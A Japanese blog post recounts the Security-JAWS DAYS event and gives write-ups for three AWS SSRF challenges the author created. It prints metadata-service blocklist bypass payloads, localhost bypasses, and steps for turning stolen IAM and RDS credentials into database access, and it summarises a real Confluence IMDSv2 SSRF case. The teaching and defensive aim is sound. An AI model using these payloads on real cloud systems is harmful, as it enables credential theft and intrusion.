1. 始めに
こんにちは、morioka12 です。
本稿では、先日の8/26,27に開催された Security-JAWS DAYS の参加記と CTF デイで AWS セキュリティに因んで作成した CTF の問題解説について紹介します。
また、Security-JAWS の運営メンバーより開催の裏側が AWS の公式ブログで公開されているため、よければこちらもご覧ください。
2. Security-JAWS DAYS
Security-JAWS DAYS とは、Security-JAWS が第30回を記念回して開催された2日間のイベントです。
Day1 はカンファレンスデイで、Day2 は CTF デイとなっていました。
僕は、Day1 も Day2 も現地の AWS Japan 目黒オフィスで参加させていただきました。
Day2 の方では、夜の懇親会にも参加させていただき、普段は交流することがなかった方々ともお話しすることができ、大変ありがとうございました。
僕は過去に、Security-JAWS #25 と JAWS DAYS 2022 の2つの JAWS イベントで登壇させていただいていました。
- 2022/05/30: Security-JAWS #25
- AWS Lambdaにおけるセキュリティリスクと対策
- 2022/10/08: JAWS DAYS 2022
- AWSサービスにおけるサーバーレス環境のセキュリティリスク
今回の記念回である30回目に運営側として関われて、とても光栄でした。ありがとうございました! (そしておめでとうございます!!)
また、Security-JAWS の T シャツとパーカーも頂けて、とても着心地の良いパーカーでした。
3. CTF 作問
今回の CTF は、AWS サービスに特化した CTF 環境を用意して、AWS セキュリティの問題に取り組んでいただきました。
作問メンバーは、@tigerszk さんと @328__ さんと @a_zara_n さんと僕(@scgajge12)の4名で担当しました。
改めまして、今回一緒に作問メンバーとしてとても楽しく参加できました。ありがとうございました!
僕は主に Amazon EC2 と SSRF (Server Side Request Forgery)をテーマに3問作成しました。
また、今回は Security-JAWS のイベントとして開催されて、参加者は主に AWS を普段使っている開発者などを想定していたため、Burp Suite などのを使わずに解けて、AWS CLI などを用いる方向性の問題を取り入れました。
当日のライブ配信の動画は、以下で公開されています。
4. 問題解説
以下が出題した問題の難易度・タイトル・使用した AWS サービスになります。
- [Easy] Get Provision
- [Medium] Get Access Key
- Amazon EC2, Amazon DynamoDB, AWS IAM
- [Hard] Secure Request Forwarder
- Amazon EC2, Amazon RDS
4.1 [Easy] Get Provision
問題文
EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せよ!
解説
本問題は、EC2 上の Web アプリケーションにおいて SSRF 攻撃を行うことで、メタデータサーバーのユーザーデータから機微な情報を取得する問題でした。
問題にアクセスすると、脆弱とあるオンラインプロキシサービスが表示されて、URL の入力欄があります。
テストで https://example.com
と入力すると、以下のように指定した先の情報が表示されました。
ブラウザの DevTools でコードを見てみると、以下のように iframe タグで指定した URL が src 属性に指定されて読み込まれていました。
<iframe src="https://example.com" width="600" height="200"></iframe>
試しにメタデータサーバー先の http://169.254.169.254
を指定してみると、以下のようにアクセスできたことが確認できました。
1.0 2007-01-19 2007-03-01 2007-08-29 2007-10-10 2007-12-15 2008-02-01 2008-09-01 2009-04-04 2011-01-01 2011-05-01 2012-01-12 2014-02-25 2014-11-05 2015-10-20 2016-04-19 2016-06-30 2016-09-02 2018-03-28 2018-08-17 2018-09-24 2019-10-01 2020-10-27 2021-01-03 2021-03-23 2021-07-15 2022-07-09 2022-09-24 latest
EC2 のインスタンスのメタデータサーバーには、インスタンスに関するデータや設定などが含まれています。
ここからメタデータサーバーのデータにアクセスして情報収集すると、インスタンス起動時に実行されるコマンドが /latest/user-data
に格納されていて、中身を得ることができました。
http://169.254.169.254/latest/user-data
#!/usr/bin/bash sudo apt -y update sudo mkdir /home/ubuntu/.flag sudo echo "SJAWS{Get_1nst@nce_U2er_dat@!}" >> /home/ubuntu/.flag/secret
その中に Flag を直接書き込んでいるのが確認でき、そのまま Flag を取得することができました。
Flag: SJAWS{Get_1nst@nce_U2er_dat@!}
ポイント
この問題では、SSRF でクレデンシャルを取得するためによく狙う /latest/meta-data/iam/security-credentials
ではなく、/latest/user-data
のユーザーデータに焦点を当てました。
実際にも機微な情報を Bash スクリプトに含めた状態でインスタンスのユーザーデータに含まれていた事例もあったりするため、今回はこのような形で取り入れました。 (5.2 EC2 IMDSv2 における SSRF の事例で紹介します)
教訓
4.2 [Medium] Get Access Key
問題文
EC2 上で動く少しセキュアになった Web アプリケーションから IAM のアクセスキーを入手して、データベースから機微な情報を入手せよ!
解説
本問題は、先ほどの問題より少しセキュリティ的に対策された Web アプリケーションに対して、SSRF 攻撃を行うことでメタデータサーバーからクレデンシャルを取得する問題でした。
問題にアクセスすると、先ほどとほぼ同じ見た目をしているオンラインプロキシサービスが表示されて、URL の入力欄があります。
先ほどと同じように http://169.254.169.254
と入力するとフロントエンド側で弾かれました。
よく見ると「URL (指定: https)
」という記載があり、 DevTools でコードを見てみると以下のように input タグで正規表現で制限されていました。
<input type="url" size="70" name="url" value="" placeholder="https://example.com/" pattern="https://.+">
メタデータサーバーは http
のみのため、これを回避する必要があります。
回避の方法としてはいくつかありますが、簡単なのは DevTools で直接 pattern
を削除することで、この制限を回避することが可能です。
しかし、次は以下のようにブラックリストに当てはまり、リクエストがブロックされました。
Blocked: 169.254.169.254 *Block the following hostnames. ・169.254.169.254 ・2852039166 ・0xA9.0xFE.0xA9.0xFE ・0xA9FEA9FE ・0251.0376.0251.0376 ・0251.00376.000251.0000376 ・0251.254.169.254
ブラックリストには、主に 169.254.169.254
の IPv4 が含まれています。
このバックエンド側の入力制限を回避する方法しては、169.254.169.254
の IPv6 で指定することなどで回避することが可能です。
ちなみに、Cloud における SSRF のペイロードは、以下の GitHub によくまとまってます。
- SSRF URL for Cloud Instances
今回ブラックリストを回避するドメインとしては、以下のようなドメインでメタデータサーバーにアクセスすることが可能でした。
http://[::ffff:a9fe:a9fe]
http://[0:0:0:0:0:ffff:a9fe:a9fe]
また、今回は主な IPv4 をブロックするようにしたため、解説では対比するように IPv6 で回避することができると紹介しました。
ですが他のも回避する方法は様々あり、その辺は参加者の方にぜひ色々と試してもらいたいと思い、実際に解説中に色んなペイロードで成功したと Slack でワイワイ流れていたので、僕としても想定通りの反応があって良かったと思いました。
Slack より
短縮URLで回避しました http://025177524776 で回避しました 8進数でやりました 169.254.169.254.nip.io でやりました blocklistにあったやつを組み合わせて、8進数と10進数のmixで回避しました! 0251.254.000251.0000376
そこからメタデータサーバーのデータにアクセスして情報収集すると、/latest/meta-data/iam/security-credentials
にアクセスすることで EC2 に付与された IAM Role 名を取得し、ec2_role
にアクセスすることでクレデンシャルを得ることができました。
http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ec2_role
http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/ec2_role
{ "Code": "Success", "LastUpdated": "2023-08-25T12:53:26Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIAQZ2IU22WLKO6ZVWV", "SecretAccessKey": "YlyFC+Hz6LSqSTSjKn6dlij4edRbKY6xJBv2shss", "Token": "IQoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAOkxVQvNU7m0sILB4yxfNHiTefIgxFLbWOq2ybbBjKXQAiBCJAT1Gy8gCImJRrS+gT+MhbSc1zoSY19kMGxdq55ELCrLBQhGEAAaDDA1NTQ1MDA2NDU1NiIMRx0am+3ru2SN0a4pKqgFkLqAvfNG2jaeAkW4p/iuQLemXfi96dyYe7BX6jmlbRq/kQIKLdHWih5eJTuT5Tf2Di9iRjK8N8are/Ivg5r4iGKEma4QYn/6hvSp+wpVRtWo8B9OhKm17+Z4o+gY34Q7ywcfk/o7c7Vke6yDVH79SJCehyVihGfhnbl1Bz+hW2DlchtIEARcgOItesYoAnlK1m2BsaNmQ08Qy+TghHqsAPJRkG5JoyVQoMz9umLkb9TKrIhTBCYvixAjmyd1Gd53cNo88OaX/ItWGFzDHcuKX688cObmhPbyN/I2BAJQzJjd/TS3/hfN164KcNfyio4yGBK+CqQGXZkT9bQT3XnFAiTFOcONlWBTQ4YaUZ6zsJ6dpCM8efmlhpDG01wlB81M2Z5UHNos/f55t5QozKLOrAlknMBQpW64i34oxRkz1B9K5B8UDD91/tiOqfVJXsXOcF8durQDreTR04e+Rxu/8Wjz9dfuft7i5PcU5zUJn4EwgrZtWfCDbIyVII/74UR2WXFvPjRZ+Xm07Bmc+lnzcMH7cHhbAFRHDneE+KYXSNLN1/2GHt7lif910UFy51tCGwAWAZ2kBME+YoZ5ui9QuoOFI/Cz4T2ffDpomVOroT9WrnI0SXugJ4T/zP73QcLS1LHL+YeibGzuksmnbYqEL9dsX6pTW00Fxx+ACK4G9syCrGugCUZte8VAB+1puqlahkHlCThafwyyei8kbv7yMppVFx86tSnHY5XDAUiyz12Smd2tr8J6UiW8PYHyGpnTgDx0EFxPDbCeUIgeauZeF16doUCfDnIc3RvDyaucQKxIn/9lHjbK2Xhuw3sa8SRgDdhxX+qAl1iKH/ex8ureHcaMTVNtQS+p1pKIuo7xtV0Vkk7+Wi+35LjTi2QIHzLRmE/z3P63HfwwqciipwY6sQEUoIveT617KG8pwKXF8hRzZhCqQ4HfHpb9IX0LvtOkzNRHjDfKS0KqKRtzN57onsVP9jP26CIO1HvaRD1f5yxJPxoANc55Cka3DKIhMHVHIYgAv1qRqayPVvi5y04npgQPvlTnaU6l+eg+sUMvj4QaPRVk+peUk417SXX1Yj/JiKFcPMKIGI/pamuz0PowWE0+PYWULNOyqF1CokRaVQcdqPLVkXamcifbuCQzw7BPvj8=", "Expiration": "2023-08-25T19:03:41Z" }
そして、この入手した IAM をローカル PC の ~/.aws/credentials
と ~/.aws/config
に設定します。(今回は profile を ec2_role
とします)
注意としては、IAM Role をクレデンシャルに設定する場合、aws_access_key_id
と aws_secret_access_key
と aws_session_token
の3つを設定する必要性があります。
$ cat ~/.aws/credentials [ec2_role] aws_access_key_id = ASIAQZ2IU22WLKO6ZVWV aws_secret_access_key = YlyFC+Hz6LSqSTSjKn6dlij4edRbKY6xJBv2shss aws_session_token = IQoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAOkxVQvNU7m0sILB4yxfNHiTefIgxFLbWOq2ybbBjKXQAiBCJAT1Gy8gCImJRrS+gT+MhbSc1zoSY19kMGxdq55ELCrLBQhGEAAaDDA1NTQ1MDA2NDU1NiIMRx0am+3ru2SN0a4pKqgFkLqAvfNG2jaeAkW4p/iuQLemXfi96dyYe7BX6jmlbRq/kQIKLdHWih5eJTuT5Tf2Di9iRjK8N8are/Ivg5r4iGKEma4QYn/6hvSp+wpVRtWo8B9OhKm17+Z4o+gY34Q7ywcfk/o7c7Vke6yDVH79SJCehyVihGfhnbl1Bz+hW2DlchtIEARcgOItesYoAnlK1m2BsaNmQ08Qy+TghHqsAPJRkG5JoyVQoMz9umLkb9TKrIhTBCYvixAjmyd1Gd53cNo88OaX/ItWGFzDHcuKX688cObmhPbyN/I2BAJQzJjd/TS3/hfN164KcNfyio4yGBK+CqQGXZkT9bQT3XnFAiTFOcONlWBTQ4YaUZ6zsJ6dpCM8efmlhpDG01wlB81M2Z5UHNos/f55t5QozKLOrAlknMBQpW64i34oxRkz1B9K5B8UDD91/tiOqfVJXsXOcF8durQDreTR04e+Rxu/8Wjz9dfuft7i5PcU5zUJn4EwgrZtWfCDbIyVII/74UR2WXFvPjRZ+Xm07Bmc+lnzcMH7cHhbAFRHDneE+KYXSNLN1/2GHt7lif910UFy51tCGwAWAZ2kBME+YoZ5ui9QuoOFI/Cz4T2ffDpomVOroT9WrnI0SXugJ4T/zP73QcLS1LHL+YeibGzuksmnbYqEL9dsX6pTW00Fxx+ACK4G9syCrGugCUZte8VAB+1puqlahkHlCThafwyyei8kbv7yMppVFx86tSnHY5XDAUiyz12Smd2tr8J6UiW8PYHyGpnTgDx0EFxPDbCeUIgeauZeF16doUCfDnIc3RvDyaucQKxIn/9lHjbK2Xhuw3sa8SRgDdhxX+qAl1iKH/ex8ureHcaMTVNtQS+p1pKIuo7xtV0Vkk7+Wi+35LjTi2QIHzLRmE/z3P63HfwwqciipwY6sQEUoIveT617KG8pwKXF8hRzZhCqQ4HfHpb9IX0LvtOkzNRHjDfKS0KqKRtzN57onsVP9jP26CIO1HvaRD1f5yxJPxoANc55Cka3DKIhMHVHIYgAv1qRqayPVvi5y04npgQPvlTnaU6l+eg+sUMvj4QaPRVk+peUk417SXX1Yj/JiKFcPMKIGI/pamuz0PowWE0+PYWULNOyqF1CokRaVQcdqPLVkXamcifbuCQzw7BPvj8=
また、~/.aws/config
のリージョンの設定は、EC2 のリージョンを確認して同一のリージョンに設定しておきます。
$ nslookup gakweb.scjdaysctf2023.net Server: 2001:268:fd07:4::1 Address: 2001:268:fd07:4::1#53 Non-authoritative answer: Name: gakweb.scjdaysctf2023.net Address: 35.76.58.200 $ nslookup 35.76.58.200 Server: 2001:268:fd07:4::1 Address: 2001:268:fd07:4::1#53 Non-authoritative answer: 200.58.76.35.in-addr.arpa name = ec2-35-76-58-200.ap-northeast-1.compute.amazonaws.com. Authoritative answers can be found from:
ec2-35-76-58-200.ap-northeast-1.compute.amazonaws.com
より リージョンが ap-northeast-1
とわかりました。
そのため、以下のように設定しておきます。
$ cat ~/.aws/config [profile ec2_role] region = ap-northeast-1 output = json
ローカル環境にクレデンシャルを設定できたら、以下のように設定したクレデンシャルが有効に使用できるかを AWS CLI のコマンドで確認します。
$ aws sts get-caller-identity --profile ec2_role { "UserId": "AROAQZ2IU22WD6VC424J3:i-03247babbfc0cc2c7", "Account": "055450064556", "Arn": "arn:aws:sts::055450064556:assumed-role/ec2_role/i-03247babbfc0cc2c7" }
クレデンシャルが有効に使えるため、Web アプリケーションにあるコメントより、DynamoDB にアクセスします。
また、実際のペネトレーションテストなどで IAM を入手できた場合は、有効な権限を列挙するのに以下のようなツールを活用したりします。
今回は、難易度調整から使われているだろうサービスをヒントとして記載したため、以下のように AWS CLI を用いて DynamoDB にアクセスします。
$ aws dynamodb list-tables --profile ec2_role { "TableNames": [ "private-ctfdb" ] }
次に private-ctfdb
のテーブル内の項目をスキャンして中身を表示します。
$ aws dynamodb scan --table-name private-ctfdb --profile ec2_role { "Items": [ { "flag": { "S": "SJAWS{Get_2ecr@t_1am_ke9!!}" } } ], "Count": 1, "ScannedCount": 1, "ConsumedCapacity": null }
すると、機微な情報として Flag を得ることができました。
Flag: SJAWS{Get_2ecr@t_1am_ke9!!}
ポイント
この問題では、主に以下の要素を組み込んで、入手したクレデンシャルを悪用して、データベースである DynamoDB から機微な情報を取得するシナリオにしました。
- 不適切な入力の確認 (CWE-20)
- フロントエンド側の入力制限の回避
- バックエンド側の入力制限の回避
- Server-Side Request Forgery (CWE-918)
- ブラックリストの入力制限の回避
教訓
- Web アプリケーション自体のセキュリティ(脆弱性)対策をする
- EC2 に付与する IAM Role の権限を必要最低限にする
- 「最小権限の原則」
- 最小権限実現への4ステップアプローチ
4.3 [Hard] Secure Request Forwarder
問題文
EC2 上で動くセキュアそうな Web アプリケーションがある。調査して情報収集して侵入してみよう! ソースコードの配布あり (main.go)
main.go
package main import ( "net" "net/http" "net/url" "strings" "github.com/gin-gonic/gin" "github.com/parnurzeal/gorequest" ) var blacklist = map[string] bool { "0.0.0.0": true, "169.254.169.254": true, } func main() { router := gin.Default() router.Use(func(c *gin.Context) { xForwardedFor := c.GetHeader("X-Forwarded-For") XRealIP := c.GetHeader("X-Real-IP") if xForwardedFor != "" { c.HTML(http.StatusForbidden, "forbidden.html", gin.H{"error": "Blocked: X-Forwarded-For header detected"}) c.Abort() return } if XRealIP != "" { c.HTML(http.StatusForbidden, "forbidden.html", gin.H{"error": "Blocked: X-Real-IP header detected"}) c.Abort() return } c.Next() }) router.LoadHTMLGlob("templates/*") router.GET("/", func(c *gin.Context) { c.HTML(http.StatusOK, "index.html", nil) }) router.POST("/", func(c *gin.Context) { url := c.PostForm("url") if url == "" { c.HTML(http.StatusOK, "index.html", gin.H{"error": "URL parameter is required."}) return } ipAddr, err := getIPAddress(url) if err != nil { c.HTML(http.StatusOK, "index.html", gin.H{"error": "Failed to resolve IP address."}) return } if isBlacklisted(ipAddr) { c.HTML(http.StatusOK, "index.html", gin.H{"error": "IP address is blacklisted. (169.254.169.254, 0.0.0.0)"}) return } if strings.HasPrefix(ipAddr, "127") { c.HTML(http.StatusOK, "index.html", gin.H{"error": "IP address is blacked. (127.0.0.0 - 127.255.255.255)"}) return } resp, body, errs := gorequest.New().Get(url).End() if errs != nil { c.HTML(http.StatusOK, "index.html", gin.H{"error": "The URL you entered is dangerous and not allowed."}) return } if resp.StatusCode == 200 { c.HTML(http.StatusOK, "index.html", gin.H{"result": body}) } }) router.GET("/admin", func(c *gin.Context) { if c.ClientIP() == "127.0.0.1" { paramValue := c.Query("param") if paramValue != "" { resp, body, errs := gorequest.New().Get(paramValue).End() if errs != nil { c.HTML(http.StatusOK, "admin.html", gin.H{"error": "The URL you entered is dangerous and not allowed."}) return } if resp.StatusCode == 200 { c.HTML(http.StatusOK, "admin.html", gin.H{"result": body}) } } else { c.HTML(http.StatusOK, "admin.html", gin.H{"result": ""}) } } else { c.HTML(http.StatusForbidden, "forbidden.html", gin.H{"error": "Only allow access from 127.0.0.1"}) } }) router.Run(":80") } func getIPAddress(url string) (string, error) { domain, err := getDomainFromURL(url) if err != nil { return "", err } ipAddr, err := net.ResolveIPAddr("ip", domain) if err != nil { return "", err } return ipAddr.IP.String(), nil } func getDomainFromURL(inputURL string) (string, error) { u, err := url.Parse(inputURL) if err != nil { return "", err } return u.Hostname(), nil } func isBlacklisted(ip string) bool { return blacklist[ip] }
解説
本問題は、EC2 上の Web アプリケーションにおける SSRF 攻撃によって localhost のアクセス制限を回避して、RDS のクレデンシャルを取得し、RDS から認証情報を取得して別ポートで動いているプライベートな Admin Site にログインする問題でした。
問題にアクセスすると、Secure Request Forwarder が表示されて、URL の入力欄があります。
また、/admin
ページに Admin Page があるようですが、アクセス制限によってアクセスできませんでした。
まずはテストで https://example.com
を指定すると、以下のように画面が表示されました。
次に問題「Get Provision」のような単純なペイロードを指定してみると、以下のようにブロックされました。
http://169.254.169.254
IP address is blacklisted. (169.254.169.254, 0.0.0.0)
どうやらブラックリストで 169.254.169.254
と 0.0.0.0
の入力を制限しているようです。
次に問題「Get Access Key」のようなペイロードを指定してみると、先ほどと同様にブロックされました。
http://[::ffff:a9fe:a9fe]
IP address is blacklisted. (169.254.169.254, 0.0.0.0)
色々とメタデータサーバーを示すドメインを指定してみるとブロックされるため、最終的な IP アドレスとして、169.254.169.254
をブロックしてそうと想定できます。
次に /admin
ページに SSRF 攻撃によってアクセスできるかを試します。
以下のようなローカルを示す IP アドレスを指定すると、以下のようにブロックされました。
http://localhost/admin
http://127.0.0.1/admin
http://127.0.0.2/admin
IP address is blacked. (127.0.0.0 - 127.255.255.255)
先ほど紹介した GitHub を参考にして http://localhost/admin
にアクセスできるように回避方法を試します。
- Payloads with localhost
すると、先ほどの 169.254.169.254
と同様に最終的な IP アドレスを判断して、127
から始まる IP アドレスをブロックしてそうを想定できます。
しかし、以下の IP アドレスの場合、どちらの入力制限も回避することが可能です。
- Bypass localhost with [::]
http://[::]/admin
これにより、/admin
ページの Admin Page に SSRF 攻撃によってアクセスすることができました。
アクセスしてみると、以下のコメントがあり、動作テストで指定できることがわかりました。
「/admin?param=[URL]」で動作テスト可能
試しに以下のペイロードをそのまま指定してみると、http://localhost/
から http://localhost/admin
を通してメタデータサーバーにアクセスできていることが確認できます。
http://[::]/admin?param=http://169.254.169.254
ここから問題「Get Provision」のようにメタデータサーバーから情報収集すると、ユーザデータの /latest/user-data
から RDS のクレデンシャルを取得することができました。
http://[::]/admin?param=http://169.254.169.254/latest/user-data
#!/usr/bin/bash sudo apt -y update sudo mkdir /home/ubuntu/.secret sudo echo "database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com" >> /home/ubuntu/.secret/db_host sudo echo "exporter" >> /home/ubuntu/.secret/db_user sudo echo "TF6zZaECv7f5" >> /home/ubuntu/.secret/db_pass
これらの情報より、RDS にログインすることが試せます。
- Host:
database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com
- User:
exporter
- Pass:
TF6zZaECv7f5
MySQL のコマンドを使用する場合は、ローカル PC で行うか、 AWS CloudShell で行うことも可能です。
以下のように MySQL で RDS のインスタンスにログインを試してみると、ログインすることができました。
$ mysql -h database-1.ciy3eyquzz8p.ap-northeast-1.rds.amazonaws.com -P 3306 -u exporter -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 42 Server version: 8.0.33 Source distribution Copyright (c) 2000, 2023, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql>
今回の場合、 RDS の設定が以下のようになっていたため、入手した認証情報を元に RDS のインスタンスにログインすることが可能でした。
- パブリックアクセス可能:あり
- データベース認証:パスワード認証
このようにペネトレーションテストのような、入手した認証情報を悪用してさらにクラウド環境にある AWS リソースに対して有効な権限の範囲内で深ぼって調査する要素を取り入れました。
ここからデータベースの中を調べてみます。
mysql> show databases; +--------------------+ | Database | +--------------------+ | Users | | information_schema | | performance_schema | +--------------------+ 3 rows in set (0.02 sec) mysql> use Users; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> SHOW tables; +-----------------+ | Tables_in_Users | +-----------------+ | UserInfo | +-----------------+ 1 row in set (0.01 sec) mysql> select * from UserInfo; +----+--------------------------+--------------+ | id | email | password | +----+--------------------------+--------------+ | 1 | exporter@awsctfssrf.com | CQbpUKC5vX7k | | 2 | adminsite@localhost:8444 | dummy | +----+--------------------------+--------------+ 2 rows in set (0.01 sec)
RDS 内のデータベースを調査することで、以下のような情報を得ることができました。
- 何かのユーザー情報
- email:
exporter@awsctfssrf.com
- pass:
CQbpUKC5vX7k
- email:
- ローカル環境とポート番号
localhost:8444
試しに以下にアクセスすると、ポートが空いていてログイン画面にアクセスすることができました。
http://srfweb.scjdaysctf2023.net:8444/
そこに先ほどのユーザー情報を使ってログインしてみます。
すると、最終的にログインでき、 Flag を得ることができました。
Flag: SJAWS{N0t_&ecure_g@t_1am!!!}
ポイント
この問題では、SSRF によってローカルホストのアクセス制限を回避して、入手した RDS の認証情報を悪用して MySQL にログインして機微な情報を取得して悪用するシナリオにしました。
他の問題では、IAM を入手して悪用する系の問題が多くあったため、今回の問題は別口の方向性を取り入れました。
今回は難易度調整として、データベースにlocalhost:8444
という文字列で別ポートがありそうなヒント(誘導)なことを記載しました。
しかし、実際はこのようなデータベースに別ポートを示すようなデータはあまり入っていないかと思います。
実際に SSRF が可能な Web サイトがあった場合は、Blind SSRF による Local Port Scan で判断することが可能です。
ローカル環境に対して開いているポート番号を localhost:<Port>
で列挙して、レスポンス結果やレスポンスの返ってくる時間の差によって判断します。
教訓
- Web アプリケーション自体のセキュリティ(脆弱性)対策をする
- インスタンス起動時に実行される「ユーザデータ」には、機微な情報の出力を含めないようにする
- RDS などの機微な情報を保持するインスタンスは、公開状態にしない
- RDS の「パブリックアクセス可能」をなしにする
- Amazon RDS でのインフラストラクチャセキュリティ
5. その他
5.1 EC2 における脆弱性事例
イベントの際に別途実際にあった EC2 の SSRF 攻撃についても紹介させていただきました。
それらを今回、以下のブログに簡単に記載しました。こちらもぜひご覧ください。
5.2 EC2 IMDSv2 における SSRF の事例
IMDSv2 (Instance Metadata Service version 2)は、AWS の EC2 インスタンス上で稼働するメタデータサービスのバージョン2であり、セキュリティの向上を図ったものです。(2020年6月30日に発表されたものです)
従来の IMDSv1 よりもセキュリティが強化されており、SSRF 攻撃から保護するための対策を提供しています。
今回の CTF では、IMDSv2 を利用した問題は出題しませんでしたが、以下に IMDSv2 における実際にあった SSRF 攻撃の事例を少し紹介します。
IMDSv2 が有効な場合における SSRF
EC2 で IMDSv2 が有効な場合でも SSRF 攻撃が行える可能性があります。
以下は、実際にバグバウンティであった事例になります。 (公開:2022年4月28日)
まず、Atlassian Confluence インスタンスが動く以下のようなエンドポイントで SSRF が行える箇所があります。
POST /plugins/servlet/gadgets/makeRequest?url=http://03jve28sg5djvfbj9f00xzjogz.burpcollaborator.net/ HTTP/1.1 Host: confluence.dev.████████.com ...
次に内部ポートに対して SSRF を行うと以下のように nginx のデフォルトページが得られます。
127.0.0.1:80
また、127.0.0.1:5000
に対して SSRF を行うと、以下のように Confluence インスタンスが動いていることが確認できます。
ここで 169.254.169.254
でメタデータサーバーに対して SSRF を行うと、401 - unauthorized
で IMDSv2 が有効に機能されています。
IMDSv2 にアクセスするには、以下の点が必要です。
- PUT リクエストでトークンを得る必要がある
- 得たトークンを HTTP Header で付与してリクエストする必要がある
- また、トークンの有効期限を設ける必要がある
- 例:
X-aws-ec2-metadata-token-ttl-seconds: 21600 header
- 例:
- また、トークンの有効期限を設ける必要がある
- AWS: インスタンスメタデータサービスバージョン 2 の仕組み
今回の場合、Atlassian Confluence の内部で動いている API に任意のヘッダー付きでリクエストすることが可能だったため、IMDSv2 のリクエストする際の条件でアクセスすることが可能でした。
Atlassian gadgets use the new Google gadgets.* API defined by the OpenSocial specification so to load dynamic data into the gadget, you will make Ajax calls using gadgets.io.makeRequest() to the remote server - it appears this endpoint takes in various other parameters such as: httpmethod, postData and headers to name a few.
まずは、トークンを取得するために SSRF でhttp://169.254.169.254/latest/api/token
にアクセスして得ます。
これで IMDSv2 にアクセスするために必要なトークンを取得することができました。
これを活用して http://169.254.169.254/latest/meta-data
にアクセスします。
POST /plugins/servlet/gadgets/makeRequest HTTP/1.1 Host: confluence.dev.████████.com ... url=http://169.254.169.254/latest/meta-data&httpMethod=GET&headers=X-aws-ec2-metadata-token=AQAEAH7TsExwreOTsHbZjebiYB7ypANA_l6JycUp2g0hDYNN9-kucA==
しかし、これでは 401
でアクセスできず、原因としてトークンが Base64 されていて ==
があるためです。
これを回避する方法として、以下のような「二重 URL エンコード」によって可能となります。
これで IMDSv2 からメタデータにアクセスすることができました。
さらにメタデータサーバーを調査すると、/latest/user-data
に以下の認証情報がハードコードされていました。
- Confluence インスタンスのインストールとデプロイを自動化するために使用される bash スクリプト
- Amazon RDS 上の PostgreSQL データベース
- Tenable Nessus エージェント
- Hibernate
また、/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
から EC2 に付与されたクレデンシャルも取得できました。
これらの情報が IMDSv2 が有効な状態でも、実際に SSRF によって内部で動く API を調査したり上手く悪用することでクレデンシャルを取得することが可能でした。
このように IMDSv2 が有効だからといって完璧に SSRF を防げるわけではないため(可能性として0にはならない)、根本的な対策として Web アプリケーション側のセキュリティ対策を徹底することをお勧めします。
詳しくは、以下をご覧ください。
https://jira.atlassian.com/browse/JRASERVER-69793
https://jira.atlassian.com/browse/CONFSERVER-55981
https://jira.atlassian.com/browse/JRASERVER-71204
5.3 他の作問メンバーの解説
他の作問者の問題では、S3 ・ Lambda・AWS WAFなどの AWS サービスを取り入れた問題があります。こちらもぜひご覧ください。
公開され次第、追加します。
5.4 参加者の解説記事
解説記事を書いていただき、ありがとうございました!
他にも見つけ次第、追加させていただきます。
6. 終わりに
本稿では、先日の8/26,27に開催された Security-JAWS DAYS の参加記と AWS セキュリティに因んで作成した CTF の問題解説を紹介しました。
また、過去にいくつか Cloud に関する CTF のまとめ記事を書いているので、よければこちらもご覧ください。
ここまでお読みいただきありがとうございました。
また、運営の方、作問者の方、参加して解いていただけた方、ありがとうございました!